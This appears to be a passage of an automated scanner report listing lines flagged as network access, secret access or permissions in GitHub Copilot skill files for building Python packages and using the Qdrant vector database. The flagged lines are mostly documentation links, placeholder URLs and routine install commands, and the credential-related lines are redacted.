  • Network accessline 409
    # 5. Monitor: https://github.com/<you>/<pkg>/actions
  • Network accessline 410
    # 6. Verify: https://pypi.org/project/your-package/

harness/github-copilot/skills/python-pypi-package-builder/references/library-patterns.md

  • Access to secretsline 258
    [Credential-related source omitted]
  • Access to secretsline 263
    [Credential-related source omitted]
  • Access to secretsline 264
    [Credential-related source omitted]
  • Access to secretsline 313
    [Credential-related source omitted]
  • Access to secretsline 318
    [Credential-related source omitted]
  • Access to secretsline 322
    [Credential-related source omitted]
  • Access to secretsline 328
    [Credential-related source omitted]
  • Access to secretsline 332
    [Credential-related source omitted]
  • Access to secretsline 333
    [Credential-related source omitted]
  • Access to secretsline 336
    [Credential-related source omitted]
  • Access to secretsline 379
    [Credential-related source omitted]
  • Access to secretsline 390
    [Credential-related source omitted]
  • Access to secretsline 397
    [Credential-related source omitted]
  • Access to secretsline 405
    [Credential-related source omitted]
  • Network accessline 434
    timeout: int = 30     retries: int = 3     base_url: str = "https://api.example.com"
  • Network accessline 435
    retries: int = 3     base_url: str = "https://api.example.com"     extra_headers: dict[str, str] = field(default_factory=dict)
  • Network accessline 436
    base_url: str = "https://api.example.com"
  • Access to secretsline 601
    [Credential-related source omitted]
  • Access to secretsline 605
    [Credential-related source omitted]

harness/github-copilot/skills/python-pypi-package-builder/references/pyproject-toml.md

  • Network accessline 79
    [project.urls] Homepage      = "https://github.com/yourusername/your-package"
  • Network accessline 80
    Homepage      = "https://github.com/yourusername/your-package"
  • Network accessline 81
    Documentation = "https://github.com/yourusername/your-package#readme"
  • Network accessline 82
    Repository    = "https://github.com/yourusername/your-package"
  • Network accessline 83
    "Bug Tracker" = "https://github.com/yourusername/your-package/issues"
  • Network accessline 84
    Changelog     = "https://github.com/yourusername/your-package/blob/master/CHANGELOG.md"
  • Network accessline 203
    [project.urls] Homepage  = "https://github.com/yourusername/your-package"
  • Network accessline 204
    Homepage  = "https://github.com/yourusername/your-package"
  • Network accessline 205
    Changelog = "https://github.com/yourusername/your-package/blob/master/CHANGELOG.md"
  • Network accessline 247
    [project.urls] Homepage = "https://github.com/yourusername/your-package"
  • Network accessline 248
    Homepage = "https://github.com/yourusername/your-package"

harness/github-copilot/skills/python-pypi-package-builder/references/release-governance.md

  • Network accessline 130
    # 5. Confirm: GitHub Actions publish.yml triggers automatically #    Monitor: Actions tab → publish workflow #    Verify:  https://pypi.org/project/your-package/
  • Network accessline 132
    #    Verify:  https://pypi.org/project/your-package/
  • Network accessline 171
    1. Go to https://pypi.org/manage/project/your-package/settings/publishing/
  • Network accessline 338
    uses: pypa/gh-action-pypi-publish@release/v1         with:           repository-url: https://test.pypi.org/legacy/
  • Network accessline 339
    with:           repository-url: https://test.pypi.org/legacy/         continue-on-error: true   # Non-fatal; remove if you always want this to pass
  • Network accessline 340
    repository-url: https://test.pypi.org/legacy/

harness/github-copilot/skills/python-pypi-package-builder/references/testing-quality.md

  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 57
    [Credential-related source omitted]
  • Access to secretsline 58
    [Credential-related source omitted]
  • Access to secretsline 63
    [Credential-related source omitted]
  • Network accessline 212
    # .pre-commit-config.yaml repos:   - repo: https://github.com/astral-sh/ruff-pre-commit
  • Network accessline 213
    repos:   - repo: https://github.com/astral-sh/ruff-pre-commit     rev: v0.4.4
  • Network accessline 214
    - repo: https://github.com/astral-sh/ruff-pre-commit
  • Network accessline 221
    - repo: https://github.com/psf/black
  • Network accessline 226
    - repo: https://github.com/pycqa/isort
  • Network accessline 231
    - repo: https://github.com/pre-commit/mirrors-mypy
  • Network accessline 237
    - repo: https://github.com/pre-commit/pre-commit-hooks

harness/github-copilot/skills/python-pypi-package-builder/references/tooling-ruff.md

  • Network accessline 149
    # .pre-commit-config.yaml repos:   - repo: https://github.com/astral-sh/ruff-pre-commit
  • Network accessline 150
    repos:   - repo: https://github.com/astral-sh/ruff-pre-commit     rev: v0.4.4    # Pin to a specific release; update periodically with `pre-commit autoupdate`
  • Network accessline 151
    - repo: https://github.com/astral-sh/ruff-pre-commit
  • Network accessline 158
    - repo: https://github.com/pre-commit/mirrors-mypy
  • Network accessline 167
    - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 182
    # DELETE or never add: - repo: https://github.com/psf/black           # replaced by ruff-format
  • Network accessline 183
    - repo: https://github.com/psf/black           # replaced by ruff-format
  • Network accessline 184
    - repo: https://github.com/PyCQA/isort          # replaced by ruff lint I rules
  • Network accessline 185
    - repo: https://github.com/PyCQA/flake8         # replaced by ruff check
  • Network accessline 186
    - repo: https://github.com/PyCQA/autoflake      # replaced by ruff check F401

harness/github-copilot/skills/python-pypi-package-builder/references/versioning-strategy.md

  • Network accessline 20
    All Python package versions must comply with [PEP 440](https://peps.python.org/pep-0440/).
  • Network accessline 363
    # Step 4: Test on TestPyPI first (first release or major change) twine upload --repository testpypi dist/* pip install --index-url https://test.pypi.org/simple/ --extra-index-url https://pypi.org/simple/ your-package==1.2.3
  • Network accessline 365
    pip install --index-url https://test.pypi.org/simple/ --extra-index-url https://pypi.org/simple/ your-package==1.2.3

harness/github-copilot/skills/python-pypi-package-builder/scripts/scaffold.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 113
    [project.urls] Homepage      = "https://github.com/yourusername/{name}"
  • Network accessline 114
    Homepage      = "https://github.com/yourusername/{name}"
  • Network accessline 115
    Documentation = "https://github.com/yourusername/{name}#readme"
  • Network accessline 116
    Repository    = "https://github.com/yourusername/{name}"
  • Network accessline 117
    "Bug Tracker" = "https://github.com/yourusername/{name}/issues"
  • Network accessline 118
    Changelog     = "https://github.com/yourusername/{name}/blob/master/CHANGELOG.md"
  • Network accessline 217
    [project.urls] Homepage  = "https://github.com/yourusername/{name}"
  • Network accessline 218
    Homepage  = "https://github.com/yourusername/{name}"
  • Network accessline 219
    Changelog = "https://github.com/yourusername/{name}/blob/master/CHANGELOG.md"
  • Access to secretsline 289
    [Credential-related source omitted]
  • Access to secretsline 294
    [Credential-related source omitted]
  • Access to secretsline 298
    [Credential-related source omitted]
  • Access to secretsline 304
    [Credential-related source omitted]
  • Access to secretsline 308
    [Credential-related source omitted]
  • Access to secretsline 309
    [Credential-related source omitted]
  • Access to secretsline 312
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 439
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Access to secretsline 445
    [Credential-related source omitted]
  • Access to secretsline 450
    [Credential-related source omitted]
  • Network accessline 597
    return '''\ repos:   - repo: https://github.com/astral-sh/ruff-pre-commit
  • Network accessline 598
    repos:   - repo: https://github.com/astral-sh/ruff-pre-commit     rev: v0.4.4
  • Network accessline 599
    - repo: https://github.com/astral-sh/ruff-pre-commit
  • Network accessline 606
    - repo: https://github.com/psf/black
  • Network accessline 611
    - repo: https://github.com/pycqa/isort
  • Network accessline 616
    - repo: https://github.com/pre-commit/mirrors-mypy
  • Network accessline 621
    - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 641
    The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
  • Network accessline 642
    and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
  • Network accessline 651
    [Unreleased]: https://github.com/yourusername/{name}/commits/master
  • Network accessline 661
    [![PyPI version](https://badge.fury.io/py/{name}.svg)](https://pypi.org/project/{name}/)
  • Network accessline 662
    [![Python Versions](https://img.shields.io/pypi/pyversions/{name})](https://pypi.org/project/{name}/)
  • Network accessline 663
    [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE)
  • Access to secretsline 676
    [Credential-related source omitted]
  • Access to secretsline 685
    [Credential-related source omitted]
  • Access to secretsline 842
    [Credential-related source omitted]

harness/github-copilot/skills/qdrant-clients-sdk/SKILL.md

  • Broad permissionsline 1
    Bash
  • Network accessline 22
    | Language | Official SDK | Install command or source | | --- | --- | --- | | Python | `qdrant-client` | `pip install qdrant-client[fastembed]` from `https://github.com/qdrant/qdrant-client` |
  • Network accessline 23
    | --- | --- | --- | | Python | `qdrant-client` | `pip install qdrant-client[fastembed]` from `https://github.com/qdrant/qdrant-client` | | JavaScript / TypeScript | `qdrant-js` | `npm install @qdrant/js-client-rest` from `https://github.com
  • Network accessline 24
    | Python | `qdrant-client` | `pip install qdrant-client[fastembed]` from `https://github.com/qdrant/qdrant-client` |
  • Network accessline 25
    | JavaScript / TypeScript | `qdrant-js` | `npm install @qdrant/js-client-rest` from `https://github.com/qdrant/qdrant-js` |
  • Network accessline 26
    | Rust | `rust-client` | `cargo add qdrant-client` from `https://github.com/qdrant/rust-client` |
  • Network accessline 27
    | Go | `go-client` | `go get github.com/qdrant/go-client` from `https://github.com/qdrant/go-client` |
  • Network accessline 28
    | .NET | `qdrant-dotnet` | `dotnet add package Qdrant.Client` from `https://github.com/qdrant/qdrant-dotnet` |
  • Network accessline 29
    | Java | `java-client` | Maven Central artifact `io.qdrant/client` at `https://central.sonatype.com/artifact/io.qdrant/client` and source `https://github.com/qdrant/java-client` |
  • Network accessline 33
    | Surface | Use when | Reference | | --- | --- | --- | | REST API | You are new to Qdrant, prototyping, debugging with HTTP, or need OpenAPI-generated clients. | OpenAPI Reference `https://api.qdrant.tech/api-reference`; OpenAPI JSON `https
  • Network accessline 34
    | --- | --- | --- | | REST API | You are new to Qdrant, prototyping, debugging with HTTP, or need OpenAPI-generated clients. | OpenAPI Reference `https://api.qdrant.tech/api-reference`; OpenAPI JSON `https://github.com/qdrant/qdrant/blob/ma
  • Network accessline 35
    | REST API | You are new to Qdrant, prototyping, debugging with HTTP, or need OpenAPI-generated clients. | OpenAPI Reference `https://api.qdrant.tech/api-reference`; OpenAPI JSON `https://github.com/qdrant/qdrant/blob/master/docs/redoc/mast
  • Network accessline 36
    | gRPC API | You need lower overhead, streaming-friendly integrations, or native generated protobuf clients. | gRPC protobuf definitions `https://github.com/qdrant/qdrant/tree/master/lib/api/src/grpc/proto` |
  • Network accessline 37
    | Curated snippets | You need operation-level examples before writing code. | `https://snippets.qdrant.tech/search?language=python&query=how+to+upload+points` |
  • Network accessline 41
    1. Choose one supported snippet language: `python`, `typescript`, `rust`, `java`, `go`, or `csharp`. 2. Convert the user's intent into a concise query such as `how to upload points`, `hybrid search`, or `filter by payload`. 3. Fetch snippet
  • Network accessline 42
    2. Convert the user's intent into a concise query such as `how to upload points`, `hybrid search`, or `filter by payload`. 3. Fetch snippets with `curl -X GET "https://snippets.qdrant.tech/search?language=<language>&query=<url-encoded-query
  • Network accessline 43
    3. Fetch snippets with `curl -X GET "https://snippets.qdrant.tech/search?language=<language>&query=<url-encoded-query>"`.
  • Network accessline 58
    | Reliability flags | `parallel=4`, `max_retries=3` | Mention when preserving robust indexing behavior. | | Idempotency | Re-uploading and re-uploading the same `id` overwrites existing points. | If ids are omitted, Qdrant auto-generates UU
  • Network accessline 60
    | Documentation source | `https://qdrant.tech/documentation/manage-data/points/` | Cite when discussing point management. |
  • Network accessline 89
    - [Qdrant Python client](https://github.com/qdrant/qdrant-client)
  • Network accessline 90
    - [Qdrant JavaScript/TypeScript client](https://github.com/qdrant/qdrant-js)
  • Network accessline 91
    - [Qdrant Rust client](https://github.com/qdrant/rust-client)
  • Network accessline 92
    - [Qdrant Go client](https://github.com/qdrant/go-client)
  • Network accessline 93
    - [Qdrant .NET client](https://github.com/qdrant/qdrant-dotnet)
  • Network accessline 94
    - [Qdrant Java client](https://github.com/qdrant/java-client)
  • Network accessline 95
    - [Qdrant Java Maven Central artifact](https://central.sonatype.com/artifact/io.qdrant/client)
  • Network accessline 96
    - [Qdrant REST OpenAPI Reference](https://api.qdrant.tech/api-reference)
  • Network accessline 97
    - [Qdrant OpenAPI JSON](https://github.com/qdrant/qdrant/blob/master/docs/redoc/master/openapi.json)
  • Network accessline 98
    - [Qdrant gRPC protobuf definitions](https://github.com/qdrant/qdrant/tree/master/lib/api/src/grpc/proto)
  • Network accessline 99
    - [Qdrant snippet search example](https://snippets.qdrant.tech/search?language=python&query=how+to+upload+points)
  • Network accessline 100
    - [Qdrant point management](https://qdrant.tech/documentation/manage-data/points/)

harness/github-copilot/skills/qdrant-deployment-options/SKILL.md

  • Network accessline 97
    - [Qdrant local mode quickstart](https://qdrant.tech/documentation/quickstart/) - [Qdrant Docker quick start](https://qdrant.tech/documentation/quickstart/?s=download-and-run)
  • Network accessline 98
    - [Qdrant Docker quick start](https://qdrant.tech/documentation/quickstart/?s=download-and-run)
  • Network accessline 99
    - [Distributed deployment](https://qdrant.tech/documentation/operations/distributed_deployment/)
  • Network accessline 100
    - [Qdrant Cloud](https://qdrant.tech/documentation/cloud-quickstart/)
  • Network accessline 101
    - [Hybrid Cloud](https://qdrant.tech/documentation/hybrid-cloud/)
  • Network accessline 102
    - [Qdrant EDGE](https://qdrant.tech/documentation/edge/edge-quickstart/)

harness/github-copilot/skills/qdrant-model-migration/SKILL.md

  • Network accessline 124
    - [Collection aliases](https://qdrant.tech/documentation/manage-data/collections/?s=collection-aliases)
  • Network accessline 125
    - [Switch collection](https://qdrant.tech/documentation/manage-data/collections/?s=switch-collection)
  • Network accessline 126
    - [Collection with multiple vectors](https://qdrant.tech/documentation/manage-data/collections/?s=collection-with-multiple-vectors)
  • Network accessline 127
    - [Update vectors](https://qdrant.tech/documentation/manage-data/points/?s=update-vectors)
  • Network accessline 128
    - [Update mode](https://qdrant.tech/documentation/manage-data/points/?s=update-mode)
  • Network accessline 129
    - [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 130
    - [Bulk upload](https://qdrant.tech/documentation/tutorials-develop/bulk-upload/)
  • Network accessline 131
    - [Inference docs](https://qdrant.tech/documentation/inference/)

harness/github-copilot/skills/qdrant-monitoring/SKILL.md

  • Network accessline 29
    Understand available metrics through the Qdrant monitoring documentation at https://qdrant.tech/documentation/operations/monitoring/.
  • Network accessline 29
    Understand available metrics through the Qdrant monitoring documentation at https://qdrant.tech/documentation/operations/monitoring/.
  • Network accessline 94
    - [Qdrant monitoring documentation](https://qdrant.tech/documentation/operations/monitoring/)
  • Network accessline 94
    - [Qdrant monitoring documentation](https://qdrant.tech/documentation/operations/monitoring/)

harness/github-copilot/skills/qdrant-monitoring/debugging/SKILL.md

  • Network accessline 15
    - Use `/collections/{collection_name}/optimizations` endpoint (v1.17+) to check status [Optimization monitoring](https://qdrant.tech/documentation/operations/optimizer/?s=optimization-monitoring)
  • Network accessline 16
    - Query with optional detail flags: `?with=queued,completed,idle_segments` - Returns: queued optimizations count, active optimizer type, involved segments, progress tracking - Web UI has an Optimizations tab with timeline view and per-task 
  • Network accessline 17
    - Returns: queued optimizations count, active optimizer type, involved segments, progress tracking - Web UI has an Optimizations tab with timeline view and per-task duration metrics [Web UI](https://qdrant.tech/documentation/operations/opti
  • Network accessline 18
    - Web UI has an Optimizations tab with timeline view and per-task duration metrics [Web UI](https://qdrant.tech/documentation/operations/optimizer/?s=web-ui)
  • Network accessline 27
    - Process memory metrics available via `/metrics` (RSS, allocated bytes, page faults) - Qdrant uses two types of RAM: resident memory (data structures, quantized vectors) and OS page cache (cached disk reads). Page cache filling available R
  • Network accessline 28
    - Qdrant uses two types of RAM: resident memory (data structures, quantized vectors) and OS page cache (cached disk reads). Page cache filling available RAM is normal. [Memory article](https://qdrant.tech/articles/memory-consumption/)
  • Network accessline 29
    - If resident memory (RSSAnon) exceeds 80% of total RAM, investigate - Check `/telemetry` for per-collection breakdown of point counts and vector configurations - Estimate expected memory: `num_vectors * dimensions * 4 bytes * 1.5` for vect
  • Network accessline 30
    - Check `/telemetry` for per-collection breakdown of point counts and vector configurations - Estimate expected memory: `num_vectors * dimensions * 4 bytes * 1.5` for vectors, plus payload and index overhead [Capacity planning](https://qdra
  • Network accessline 31
    - Estimate expected memory: `num_vectors * dimensions * 4 bytes * 1.5` for vectors, plus payload and index overhead [Capacity planning](https://qdrant.tech/documentation/operations/capacity-planning/)
  • Network accessline 42
    - Check optimizer status first. Active optimizations compete for CPU and I/O, degrading search latency. - Check segment count via collection info. Too many unmerged segments after bulk upload causes slower search. - Compare filtered vs unfi
  • Network accessline 44
    - Compare filtered vs unfiltered query times. Large gap means missing payload index. [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index)

harness/github-copilot/skills/qdrant-monitoring/setup/SKILL.md

  • Network accessline 15
    - Node metrics at `/metrics` endpoint [Monitoring docs](https://qdrant.tech/documentation/operations/monitoring/)
  • Network accessline 16
    - Cluster metrics at `/sys_metrics` (Qdrant Cloud only) - Prefix customization via `service.metrics_prefix` config or `QDRANT__SERVICE__METRICS_PREFIX` env var - Example self-hosted setup with Prometheus + Grafana [prometheus-monitoring rep
  • Network accessline 18
    - Example self-hosted setup with Prometheus + Grafana [prometheus-monitoring repo](https://github.com/qdrant/prometheus-monitoring)
  • Network accessline 27
    - Hybrid Cloud Prometheus setup tutorial [Hybrid Cloud Prometheus](https://qdrant.tech/documentation/tutorials-and-examples/hybrid-cloud-prometheus/)
  • Network accessline 28
    - Official Grafana dashboards [Grafana dashboard repo](https://github.com/qdrant/qdrant-cloud-grafana-dashboard)
  • Network accessline 35
    - Use `/healthz`, `/livez`, `/readyz` for basic status, liveness, and readiness [Kubernetes health endpoints](https://qdrant.tech/documentation/operations/monitoring/?s=kubernetes-health-endpoints)
  • Network accessline 42
    - Hybrid Cloud provides ~11 pre-configured Prometheus alerts out of the box [Cloud cluster monitoring](https://qdrant.tech/documentation/cloud/cluster-monitoring/)
  • Network accessline 51
    - Enable JSON log format for structured analysis: set `logger.format` to `json` in config [Configuration](https://qdrant.tech/documentation/operations/configuration/)
  • Network accessline 53
    - Audit logs (v1.17+) write to local filesystem (`/qdrant/storage/audit/`), not stdout. Mount a Persistent Volume and deploy a sidecar container to tail these files to stdout so DaemonSets can pick them up. [Audit logging](https://qdrant.te

harness/github-copilot/skills/qdrant-performance-optimization/indexing-performance-optimization/SKILL.md

  • Network accessline 10
    - Understand the indexing optimizer [Indexing optimizer](https://qdrant.tech/documentation/operations/optimizer/?s=indexing-optimizer)
  • Network accessline 20
    - Use batch upserts (64-256 points per request) [Points API](https://qdrant.tech/documentation/manage-data/points/?s=upload-points)
  • Network accessline 25
    - Create more shards (3-12), each shard has an independent update worker [Sharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=sharding)
  • Network accessline 26
    - Create payload indexes before HNSW builds (needed for filterable vector index) [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index)
  • Network accessline 30
    - Disable HNSW during bulk load (set `indexing_threshold_kb` very high, restore after) [Collection params](https://qdrant.tech/documentation/manage-data/collections/?s=update-collection-parameters)
  • Network accessline 35
    See https://qdrant.tech/documentation/tutorials-develop/bulk-upload/
  • Network accessline 42
    - Check actual progress via optimizations endpoint (v1.17+) [Optimization monitoring](https://qdrant.tech/documentation/operations/optimizer/?s=optimization-monitoring)
  • Network accessline 52
    - Reduce `m` (default 16, good for most cases, 32+ rarely needed) [HNSW params](https://qdrant.tech/documentation/manage-data/indexing/?s=vector-index)
  • Network accessline 53
    - Reduce `ef_construct` (100-200 sufficient) [HNSW config](https://qdrant.tech/documentation/manage-data/collections/?s=indexing-vectors-in-hnsw)
  • Network accessline 54
    - Keep `max_indexing_threads` proportional to CPU cores [Configuration](https://qdrant.tech/documentation/operations/configuration/)
  • Network accessline 55
    - Use GPU for indexing [GPU indexing](https://qdrant.tech/documentation/operations/running-with-gpu/)
  • Network accessline 62
    See [Multi-tenant collections](https://qdrant.tech/documentation/manage-data/multitenancy/) for details.
  • Network accessline 71
    Read more about disabling extra HNSW links in [documentation](https://qdrant.tech/documentation/manage-data/indexing/?s=disable-the-creation-of-extra-edges-for-payload-fields)
  • Network accessline 73
    Read more about ACORN in [documentation](https://qdrant.tech/documentation/search/search/?s=acorn-search-algorithm)

harness/github-copilot/skills/qdrant-performance-optimization/memory-usage-optimization/SKILL.md

  • Network accessline 18
    - Qdrant exposes memory usage through the `/metrics` endpoint. See [Monitoring docs](https://qdrant.tech/documentation/operations/monitoring/).
  • Network accessline 27
    - For regular search scenarios, general guidelines are provided in the [Capacity planning docs](https://qdrant.tech/documentation/operations/capacity-planning/).
  • Network accessline 29
    For a detailed breakdown of memory usage at large scale, see [Large scale memory usage example](https://qdrant.tech/documentation/tutorials-operations/large-scale-search/?s=memory-usage).
  • Network accessline 42
    - Deployments with low latency disks - local NVMe or similar. - Multi-tenant deployments, where only a subset of tenants is frequently accessed, so that only a fraction of data & index is loaded in RAM at a time. - For deployments with [inl
  • Network accessline 44
    - For deployments with [inline storage](https://qdrant.tech/documentation/operations/optimize/?s=inline-storage-in-hnsw-index) enabled.
  • Network accessline 52
    - Use quantization to store only compressed vectors in RAM [Quantization docs](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 54
    - Use float16 or int8 datatypes to reduce memory usage of vectors by 2x or 4x respectively, with some tradeoff in precision. Read more about vector datatypes in [documentation](https://qdrant.tech/documentation/manage-data/vectors/?s=dataty
  • Network accessline 56
    - Leverage Matryoshka Representation Learning (MRL) to store only small vectors in RAM while keeping large vectors on disk. Examples of how to use MRL with Qdrant Cloud inference: [MRL docs](https://qdrant.tech/documentation/inference/?s=re
  • Network accessline 58
    - For multi-tenant deployments with small tenants, vectors might be stored on disk because the same tenant's data is stored together [Multitenancy docs](https://qdrant.tech/documentation/manage-data/multitenancy/?s=calibrate-performance)
  • Network accessline 60
    - For deployments with fast local storage and relatively low requirements for search throughput, it may be possible to store all components of vector store on disk. Read more about the performance implications of on-disk storage in [the art
  • Network accessline 62
    - For low RAM environments, consider `async_scorer` config, which enables support of `io_uring` for parallel disk access, which can significantly improve performance of on-disk storage. Read more about `async_scorer` in [the article](https:
  • Network accessline 64
    - Consider storing Sparse Vectors and text payload on disk, as they are usually more disk-friendly than dense vectors. - Configure payload indexes to be stored on disk [docs](https://qdrant.tech/documentation/manage-data/indexing/?s=on-disk
  • Network accessline 65
    - Configure payload indexes to be stored on disk [docs](https://qdrant.tech/documentation/manage-data/indexing/?s=on-disk-payload-index)
  • Network accessline 66
    - Configure sparse vectors to be stored on disk [docs](https://qdrant.tech/documentation/manage-data/indexing/?s=sparse-vector-index)

harness/github-copilot/skills/qdrant-performance-optimization/search-speed-optimization/SKILL.md

  • Network accessline 28
    - Tune HNSW parameters: [Fine-tuning search](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters)
  • Network accessline 29
    - Enable in-memory quantization: [Scalar quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=scalar-quantization)
  • Network accessline 30
    - Reduce Vector Dimensionality with Matryoshka Models: [Matryoshka Models](https://qdrant.tech/documentation/inference/?s=reduce-vector-dimensionality-with-matryoshka-models)
  • Network accessline 31
    - Use oversampling + rescore for high-dimensional vectors [Search with quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=searching-with-quantization)
  • Network accessline 32
    - Enable io_uring for disk-heavy workloads on Linux [io_uring](https://qdrant.tech/articles/io_uring/)
  • Network accessline 39
    - Reduce segment count (`default_segment_number` to 2) [Maximizing throughput](https://qdrant.tech/documentation/operations/optimize/?s=maximizing-throughput)
  • Network accessline 40
    - Use batch search API instead of single queries [Batch search](https://qdrant.tech/documentation/search/search/?s=batch-search-api)
  • Network accessline 41
    - Enable quantization to reduce CPU cost [Scalar quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=scalar-quantization)
  • Network accessline 42
    - Add replicas to distribute read load [Replication](https://qdrant.tech/documentation/operations/distributed_deployment/?s=replication)
  • Network accessline 49
    - Create payload index on the filtered field [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index)
  • Network accessline 50
    - Use `is_tenant=true` for primary filtering condition: [Tenant index](https://qdrant.tech/documentation/manage-data/indexing/?s=tenant-index)
  • Network accessline 51
    - Try ACORN algorithm for complex filters: [ACORN](https://qdrant.tech/documentation/search/search/?s=acorn-search-algorithm)
  • Network accessline 68
    Learn more [here](https://qdrant.tech/documentation/search/low-latency-search/?s=query-indexed-data-only)

harness/github-copilot/skills/qdrant-scaling/minimize-latency/SKILL.md

  • Network accessline 14
    - Increase segment count to match CPU cores (`default_segment_number: 16`) [Minimizing latency](https://qdrant.tech/documentation/operations/optimize/?s=minimizing-latency)
  • Network accessline 15
    - Keep quantized vectors and HNSW in RAM (`always_ram=true`) - Reduce `hnsw_ef` at query time (trade recall for speed) [Search params](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters) - Use local NVMe,
  • Network accessline 16
    - Reduce `hnsw_ef` at query time (trade recall for speed) [Search params](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters)
  • Network accessline 23
    - Vertical scale RAM first. Critical if working set >80%. - Use quantization: scalar (4x reduction) or binary (16x reduction) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 24
    - Use quantization: scalar (4x reduction) or binary (16x reduction) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 25
    - Move payload indexes to disk if filtering is infrequent [On-disk payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=on-disk-payload-index)

harness/github-copilot/skills/qdrant-scaling/scaling-data-volume/horizontal-scaling/SKILL.md

  • Network accessline 34
    - Available in Qdrant Cloud [Resharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=resharding)
  • Network accessline 34
    - Available in Qdrant Cloud [Resharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=resharding)
  • Network accessline 34
    - Available in Qdrant Cloud [Resharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=resharding)

harness/github-copilot/skills/qdrant-scaling/scaling-data-volume/sliding-time-window/SKILL.md

  • Network accessline 15
    Use when: data has natural time boundaries (daily, weekly, monthly). Preferred because queries span all time periods in one request without application-level fan-out. [User-defined sharding](https://qdrant.tech/documentation/operations/dist
  • Network accessline 31
    Use when: you need per-period collection configuration (e.g., different quantization or storage settings). [Collection aliases](https://qdrant.tech/documentation/manage-data/collections/?s=collection-aliases)
  • Network accessline 33
    1. Create one collection per time period, point a write alias at the newest 2. Query across all active collections in parallel, merge results client-side 3. When a new period starts, create the new collection and swap the write alias [Switc
  • Network accessline 34
    2. Query across all active collections in parallel, merge results client-side 3. When a new period starts, create the new collection and swap the write alias [Switch collection](https://qdrant.tech/documentation/manage-data/collections/?s=s
  • Network accessline 35
    3. When a new period starts, create the new collection and swap the write alias [Switch collection](https://qdrant.tech/documentation/manage-data/collections/?s=switch-collection)
  • Network accessline 45
    1. Store a `timestamp` payload on every point, create a payload index on it [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index)
  • Network accessline 46
    2. Filter to the desired window at query time using `range` condition [Range filter](https://qdrant.tech/documentation/search/filtering/?s=range)
  • Network accessline 47
    3. Periodically delete expired points using delete-by-filter [Delete points](https://qdrant.tech/documentation/manage-data/points/?s=delete-points)
  • Network accessline 58
    - **Shard rotation:** place current shard key on fast-storage nodes, move older shard keys to cheaper nodes via shard placement. All queries still go through a single collection. - **Collection rotation:** keep current collection in RAM (`a
  • Network accessline 59
    - **Collection rotation:** keep current collection in RAM (`always_ram: true`), move older collections to mmap/on-disk vectors. [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)

harness/github-copilot/skills/qdrant-scaling/scaling-data-volume/tenant-scaling/SKILL.md

  • Network accessline 10
    - Understand multitenancy patterns [Multitenancy](https://qdrant.tech/documentation/manage-data/multitenancy/)
  • Network accessline 18
    Read about [Partition by payload](https://qdrant.tech/documentation/manage-data/multitenancy/?s=partition-by-payload) and [Calibrate performance](https://qdrant.tech/documentation/manage-data/multitenancy/?s=calibrate-performance) for best 
  • Network accessline 23
    At this scale, the cluster may consist of several peers. To localize tenant data and improve performance, use [custom sharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=user-defined-sharding) to assign tenants 
  • Network accessline 24
    To localize tenant data and improve performance, use [custom sharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=user-defined-sharding) to assign tenants to specific shards based on tenant ID hash.
  • Network accessline 29
    If some tenants are much larger than others, use [tiered multitenancy](https://qdrant.tech/documentation/manage-data/multitenancy/?s=tiered-multitenancy) to promote large tenants to dedicated shards while keeping small tenants on shared sha

harness/github-copilot/skills/qdrant-scaling/scaling-data-volume/vertical-scaling/SKILL.md

  • Network accessline 10
    - Vertical scaling for Qdrant Cloud is done through the [Qdrant Cloud Console](https://cloud.qdrant.io/)
  • Network accessline 10
    - Vertical scaling for Qdrant Cloud is done through the [Qdrant Cloud Console](https://cloud.qdrant.io/)
  • Network accessline 28
    - Log into [Qdrant Cloud Console](https://cloud.qdrant.io/) or use [CLI tool](https://github.com/qdrant/qcloud-cli)
  • Network accessline 28
    - Log into [Qdrant Cloud Console](https://cloud.qdrant.io/) or use [CLI tool](https://github.com/qdrant/qcloud-cli)
  • Network accessline 41
    - Exact estimation of RAM usage is difficult; use this simple approximate formula: `num_vectors * dimensions * 4 bytes * 1.5` for full-precision vectors in RAM - With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Q
  • Network accessline 41
    - Exact estimation of RAM usage is difficult; use this simple approximate formula: `num_vectors * dimensions * 4 bytes * 1.5` for full-precision vectors in RAM - With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Q
  • Network accessline 42
    - With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 42
    - With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 43
